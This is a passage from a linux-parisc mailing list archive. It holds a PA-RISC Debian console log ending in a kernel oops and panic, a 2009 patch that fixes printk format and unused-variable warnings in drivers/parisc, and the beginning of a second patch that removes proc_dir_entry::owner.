Starting OpenBSD Secure Shell server: sshd[42949433.890000] NET: Registered protocol family 10
[42949433.890000] lo: Disabled Privacy Extensions
[42949434.070000] eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
.
Not starting internet superserver: no services enabled.
Starting openntpd: ntpd.
Starting Postfix Mail Transport Agent: postfix.
Not starting S.M.A.R.T. daemon smartd, disabled via /etc/default/smartmontools (warning).
Setting sysfs variables....
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: crond.

Debian GNU/Linux squeeze/sid sidrun ttyS0

sidrun login: INIT: Switching to runlevel: 6
Stopping deferred execution scheduler: atd.
Stopping internet superserver: inetd.
Stopping openntpd: start-stop-daemon: warning: failed to kill 1344: No such process
ntpd.
Stopping Postfix Mail Transport Agent: postfix.
Stopping rsync daemon: rsync.
Stopping S.M.A.R.T. daemon: smartd.
Unmounted debugfs from /sys/kernel/debug.
Saving the system clock.
Stopping resolvconf...done.
Asking all remaining processes to terminate...[42950046.800000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950046.810000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950046.830000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950046.840000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950046.860000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950046.870000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950046.890000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950046.900000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950046.930000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950046.950000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.070000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.210000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.230000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.360000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.500000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.640000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.650000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.780000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.920000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950047.930000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.060000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.200000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.210000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.340000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.480000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.500000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.620000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.760000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.900000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950048.920000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.040000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.180000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.200000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.330000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.470000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.480000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.610000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.750000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.890000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950049.900000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.030000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.170000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.180000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.310000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.450000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.470000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.590000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.730000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.750000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950050.870000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.010000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.160000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.170000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.300000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.440000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.450000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.580000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.720000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.730000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950051.870000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.000000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.140000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.160000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.280000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.420000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.440000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.560000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.700000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.720000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.850000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950052.990000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.000000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.130000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.270000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.410000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.420000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.550000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.690000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.710000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.830000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.970000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950053.990000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.110000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.250000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.390000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.410000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.540000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.680000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.690000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.820000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.960000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950054.970000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.100000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.240000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.250000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.380000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.520000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.660000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.680000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.800000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.940000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950055.960000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.090000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.230000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.240000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.370000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.510000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.650000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.660000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.790000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.930000] rsyslogd (pid 1145): Illegal instruction (code 8) at 0000000000071d83
[42950056.930000] INFO: RCU detected CPU 0 stall (t=4295005693/1012 jiffies)
[42950056.930000] Backtrace:
[42950056.930000] Backtrace:
[42950056.930000] 
[42950056.930000] 
[42950056.930000] Bad Address (null pointer deref?): Code=15 regs=0000000063551460 (Addr=c00007ff63551380)
[42950056.930000] 
[42950056.930000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[42950056.93000001101111111100001110 Not tainted
[42950056.930000] r00-03  000000ff0806ff0e 0000000040552100 000000006fc00000 0000000063550f08
[42950056.930000] r04-07  0000000037de0000 ffffffffffe00008 0000000063550f08 0000000040557100
[42950056.930000] r08-11  000000000fc212c1 000000006bc23fd9 0000000040555100 0000000063550578
[42950056.930000] r12-15  0000000040552900 000000004055c100 0000000040556900 0000000000000002
[42950056.930000] r16-19  00000000000000000000001 0000000000000037 0000000063551290
[42950056.930000] r20-23  00000000ffffe000 00000000401165cc 00000000403f6d44 0000000000000010
[42950056.930000] r24-27  0000000000000000 0000000040116500 0000000040116ba0 0000000040552100
[42950056.930000] r28-31  ffffffff63551380 0000000000000350 0000000063551460 ffffffff63551390
[42950056.930000] sr00-03  0000000000001800 0000000000001800 0000000000000000 0000000000002800
[42950056.930000] 00000 0000000000000000 0000000000000000 0000000000000000
[42950056.930000] 
[42950056.930000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004011f978 000000004011f97c
[42950056.930000]  IIR: 0f8010dc    ISR: 000000003ffff800  IOR: c00007ff63551380
[42950056.930000]  CPU:        0   CR30: 0000000063550000 CR31: 0000000000008020
[42950056.930000]  ORIG_R28: 00000000635513c8
[42950056.930000]  IAOQ[0]: unwind_once+0x358/0x3b8
[42950056 IAOQ[1]: unwind_once+0x35c/0x3b8
[42950056.930000]  RP(r2): 0x6fc00000
[42950056.930000] Backtrace:
[42950056.930000] 
[429500
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       OFF        ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system panic               1B00

*****************************************
Invalid choice. Q/q: quit EARLY BOOT VFP
*****************************************

-- 
Meelis Roos (mroos@ut.ee)      http://www.cs.ut.ee/~mroos/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] drivers/parisc: fix warnings
Date: Thu, 19 Mar 2009 13:54:07 +0300
Lines: 175
Approved: news@gmane.org
Message-ID: <20090319105407.GA3269@orion>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237460064 8151 80.91.229.12 (19 Mar 2009 10:54:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Mar 2009 10:54:24 +0000 (UTC)
To: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 19 11:55:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LkFuW-0000n3-15
	for glpp-linux-parisc@gmane.org; Thu, 19 Mar 2009 11:55:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751315AbZCSKyQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Mar 2009 06:54:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751836AbZCSKyQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Mar 2009 06:54:16 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:40616 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751315AbZCSKyO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Mar 2009 06:54:14 -0400
Original-Received: by ewy9 with SMTP id 9so351311ewy.37
        for <linux-parisc@vger.kernel.org>; Thu, 19 Mar 2009 03:54:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:subject
         :message-id:mime-version:content-type:content-disposition:user-agent;
        bh=sBNj+P+89/6OTYmvNbA8zex7E0O93DgbI/Wxur1cGtc=;
        b=SLqpqTVQDyeS1BAmLshomyHwSo4fOwoo/PfO+z6ScycmYKXjmF0HVyO+FAFBcS4gSa
         CBW59hpDRNsZ3x9bt9hFHQSWeYXx3xs6U5dF/1BzUViGZSyA1K8IgiBl+6YjrUWH4n5U
         t2XgyDFbsVpCC9TdbkpcieEI6WRZ3kz6ZUzbw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        b=I7QjPMCwUMg0LoiTRnC7ZAERH5IoVSMCOUP1YgSi6ZC9lRQBLMowGfyR/pKEDJUOCF
         GqQ5ajfZaoFGjYZgFn7jhEPRHacCNDkitw1X8wTPXf3EXV3lDXlIxxZRJUdrJ0PP3jcS
         tDpGSUj5VWH8lu3s0HHPVr1UFrJi4XFLggJSc=
Original-Received: by 10.216.52.196 with SMTP id e46mr1022426wec.124.1237460051527;
        Thu, 19 Mar 2009 03:54:11 -0700 (PDT)
Original-Received: from orion (ppp83-237-113-143.pppoe.mtu-net.ru [83.237.113.143])
        by mx.google.com with ESMTPS id p10sm1212074gvf.1.2009.03.19.03.54.10
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 19 Mar 2009 03:54:11 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1408
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1408>

ccio-dma.c:456: warning: overflow in implicit constant conversion
ccio-dma.c:459: warning: overflow in implicit constant conversion
ccio-dma.c:1032: warning: unused variable 'j'
ccio-dma.c:1031: warning: unused variable 'max'
ccio-dma.c:1031: warning: unused variable 'min'
ccio-dma.c:1031: warning: unused variable 'avg'
ccio-dma.c:1403: warning: format '%08lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
ccio-dma.c:1403: warning: format '%08lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
ccio-dma.c:1554: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
dino.c:822: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
dino.c:822: warning: format '%lx' expects type 'long unsigned int', but argument 5 has type 'resource_size_t'
dino.c:902: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
dino.c:902: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
asp.c:84: warning: format '%lx' expects type 'long unsigned int', but argument 4 has type 'resource_size_t'
eisa.c:317: warning: format '%08lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
eisa_enumerator.c:101: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'resource_size_t'
eisa_enumerator.c:101: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'
eisa_enumerator.c:191: warning: format '%lx' expects type 'long unsigned int', but argument 2 has type 'resource_size_t'
eisa_enumerator.c:191: warning: format '%lx' expects type 'long unsigned int', but argument 3 has type 'resource_size_t'


Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---

 drivers/parisc/asp.c             |    2 +-
 drivers/parisc/ccio-dma.c        |   16 ++++++++--------
 drivers/parisc/dino.c            |    7 +++++--
 drivers/parisc/eisa.c            |    2 +-
 drivers/parisc/eisa_enumerator.c |    4 ++--
 5 files changed, 17 insertions(+), 14 deletions(-)

diff --git a/drivers/parisc/asp.c b/drivers/parisc/asp.c
index 7931133..9ca2109 100644
--- a/drivers/parisc/asp.c
+++ b/drivers/parisc/asp.c
@@ -81,7 +81,7 @@ static int __init asp_init_chip(struct parisc_device *dev)
 	asp.hpa = ASP_INTERRUPT_ADDR;
 
 	printk(KERN_INFO "%s version %d at 0x%lx found.\n", 
-		asp.name, asp.version, dev->hpa.start);
+		asp.name, asp.version, (unsigned long)dev->hpa.start);
 
 	/* the IRQ ASP should use */
 	ret = -EBUSY;
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index cd4dd7e..5d610cb 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -406,8 +406,6 @@ resource_found:
 	}
 	ioc->avg_search[ioc->avg_idx++] = cr_start;
 	ioc->avg_idx &= CCIO_SEARCH_SAMPLE - 1;
-#endif
-#ifdef CCIO_COLLECT_STATS
 	ioc->used_pages += pages_needed;
 #endif
 	/* 
@@ -453,10 +451,10 @@ ccio_free_range(struct ioc *ioc, dma_addr_t iova, unsigned long pages_mapped)
 		unsigned long mask = ~(~0UL >> pages_mapped);
 		CCIO_FREE_MAPPINGS(ioc, res_idx, mask, 8);
 #else
-		CCIO_FREE_MAPPINGS(ioc, res_idx, 0xff, 8);
+		CCIO_FREE_MAPPINGS(ioc, res_idx, 0xffUL, 8);
 #endif
 	} else if(pages_mapped <= 16) {
-		CCIO_FREE_MAPPINGS(ioc, res_idx, 0xffff, 16);
+		CCIO_FREE_MAPPINGS(ioc, res_idx, 0xffffUL, 16);
 	} else if(pages_mapped <= 32) {
 		CCIO_FREE_MAPPINGS(ioc, res_idx, ~(unsigned int)0, 32);
 #ifdef __LP64__
@@ -1028,8 +1026,10 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 
 	while (ioc != NULL) {
 		unsigned int total_pages = ioc->res_size << 3;
+#ifdef CCIO_COLLECT_STATS
 		unsigned long avg = 0, min, max;
 		int j;
+#endif
 
 		len += seq_printf(m, "%s\n", ioc->name);
 		
@@ -1060,8 +1060,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 		avg /= CCIO_SEARCH_SAMPLE;
 		len += seq_printf(m, "  Bitmap search : %ld/%ld/%ld (min/avg/max CPU Cycles)\n",
 				  min, avg, max);
-#endif
-#ifdef CCIO_COLLECT_STATS
+
 		len += seq_printf(m, "pci_map_single(): %8ld calls  %8ld pages (avg %d/1000)\n",
 				  ioc->msingle_calls, ioc->msingle_pages,
 				  (int)((ioc->msingle_pages * 1000)/ioc->msingle_calls));
@@ -1400,7 +1399,7 @@ ccio_init_resource(struct resource *res, char *name, void __iomem *ioaddr)
 	result = insert_resource(&iomem_resource, res);
 	if (result < 0) {
 		printk(KERN_ERR "%s() failed to claim CCIO bus address space (%08lx,%08lx)\n", 
-			__func__, res->start, res->end);
+			__func__, (unsigned long)res->start, (unsigned long)res->end);
 	}
 }
 
@@ -1551,7 +1550,8 @@ static int __init ccio_probe(struct parisc_device *dev)
 
 	ioc->name = dev->id.hversion == U2_IOA_RUNWAY ? "U2" : "UTurn";
 
-	printk(KERN_INFO "Found %s at 0x%lx\n", ioc->name, dev->hpa.start);
+	printk(KERN_INFO "Found %s at 0x%lx\n", ioc->name,
+		(unsigned long)dev->hpa.start);
 
 	for (i = 0; i < ioc_count; i++) {
 		ioc_p = &(*ioc_p)->next;
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index bb5a1c9..52ae0b1 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -819,7 +819,9 @@ dino_bridge_init(struct dino_device *dino_dev, const char *name)
 
 		result = ccio_request_resource(dino_dev->hba.dev, &res[i]);
 		if (result < 0) {
-			printk(KERN_ERR "%s: failed to claim PCI Bus address space %d (0x%lx-0x%lx)!\n", name, i, res[i].start, res[i].end);
+			printk(KERN_ERR "%s: failed to claim PCI Bus address "
+			       "space %d (0x%lx-0x%lx)!\n", name, i,
+			       (unsigned long)res[i].start, (unsigned long)res[i].end);
 			return result;
 		}
 	}
@@ -899,7 +901,8 @@ static int __init dino_common_init(struct parisc_device *dev,
 	if (request_resource(&ioport_resource, res) < 0) {
 		printk(KERN_ERR "%s: request I/O Port region failed "
 		       "0x%lx/%lx (hpa 0x%p)\n",
-		       name, res->start, res->end, dino_dev->hba.base_addr);
+		       name, (unsigned long)res->start, (unsigned long)res->end,
+		       dino_dev->hba.base_addr);
 		return 1;
 	}
 
diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index 7891db5..f415fdd 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -314,7 +314,7 @@ static int __init eisa_probe(struct parisc_device *dev)
 	char *name = is_mongoose(dev) ? "Mongoose" : "Wax";
 
 	printk(KERN_INFO "%s EISA Adapter found at 0x%08lx\n", 
-		name, dev->hpa.start);
+		name, (unsigned long)dev->hpa.start);
 
 	eisa_dev.hba.dev = dev;
 	eisa_dev.hba.iommu = ccio_get_iommu(dev);
diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumerator.c
index 6d8aae0..c709ecc 100644
--- a/drivers/parisc/eisa_enumerator.c
+++ b/drivers/parisc/eisa_enumerator.c
@@ -98,7 +98,7 @@ static int configure_memory(const unsigned char *buf,
 			res->start = mem_parent->start + get_24(buf+len+2);
 			res->end = res->start + get_16(buf+len+5)*1024;
 			res->flags = IORESOURCE_MEM;
-			printk("memory %lx-%lx ", res->start, res->end);
+			printk("memory %lx-%lx ", (unsigned long)res->start, (unsigned long)res->end);
 			result = request_resource(mem_parent, res);
 			if (result < 0) {
 				printk("\n" KERN_ERR "EISA Enumerator: failed to claim EISA Bus address space!\n");
@@ -188,7 +188,7 @@ static int configure_port(const unsigned char *buf, struct resource *io_parent,
 			res->start = get_16(buf+len+1);
 			res->end = get_16(buf+len+1)+(c&HPEE_PORT_SIZE_MASK)+1;
 			res->flags = IORESOURCE_IO;
-			printk("ioports %lx-%lx ", res->start, res->end);
+			printk("ioports %lx-%lx ", (unsigned long)res->start, (unsigned long)res->end);
 			result = request_resource(io_parent, res);
 			if (result < 0) {
 				printk("\n" KERN_ERR "EISA Enumerator: failed to claim EISA Bus address space!\n");
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: [PATCH next 1/2] PARISC: led: remove proc_dir_entry::owner
Date: Fri, 20 Mar 2009 12:55:50 +0300
Lines: 40
Approved: news@gmane.org
Message-ID: <20090320095550.GA26020@orion>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1237542980 25326 80.91.229.12 (20 Mar 2009 09:56:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Mar 2009 09:56:20 +0000 (UTC)
Cc: adobriyan@gmail.com
To: kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-next@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 20 10:57:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LkbTl-0006GB-Au
	for glpp-linux-parisc@gmane.org; Fri, 20 Mar 2009 10:57:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751080AbZCTJ4E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Mar 2009 05:56:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751614AbZCTJ4E
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Mar 2009 05:56:04 -0400
Original-Received: from nf-out-0910.google.com ([64.233.182.187]:18694 "EHLO
	nf-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751080AbZCTJ4B (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Mar 2009 05:56:01 -0400
Original-Received: by nf-out-0910.google.com with SMTP id d21so153712nfb.21
        for <multiple recipients>; Fri, 20 Mar 2009 02:55:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:cc:subject
         :message-id:mime-version:content-type:content-disposition:user-agent;
        bh=OFn30nlFRePG88TeJvWt5NiAoE0HrjOj1ivq6qNs1tM=;
        b=EyuZit1ySJoYMpgEdiiivUXwftDh1+wmaUqGtpXBy1lVRf6hYdYXYQjeomr98mqy/m
         7J+SkBvM13S5aPa04ubRzL1o7qaz304FAG7Ha1FmTdWfCfcdpub9Le4vAYq0FPz1GngU
         6BJ90NB5cr4AEl/TFz6AntNfZK3AMP9qSTgBE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        b=FQGy5gkjIuNCLp62CAHOCeXgt3ye0AmUW8HzQzDQil5bGLO8zGQdGOumblkQ63zzHI
         vVjcDUFGSutiZgTbIrLPoAhdaKGBoZcEvGXyG6CgT3Nm1a+CvScuPZJDENwqDAXfkZWP
         6H+/e4+12lYihczrDAxlYf95xwB6s+cLn6db8=
Original-Received: by 10.216.12.198 with SMTP id 48mr1631348wez.223.1237542958245;
        Fri, 20 Mar 2009 02:55:58 -0700 (PDT)
Original-Received: from orion (ppp83-237-115-123.pppoe.mtu-net.ru [83.237.115.123])
        by mx.google.com with ESMTPS id t2sm2859180gve.2.2009.03.20.02.55.56
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 20 Mar 2009 02:55:57 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1410 gmane.linux.kernel.next:6475
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1410>

proc_dir_entry::owner was removed in 0702c1c1a4
(proc 2/2: remove struct proc_dir_entry::owner)

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---

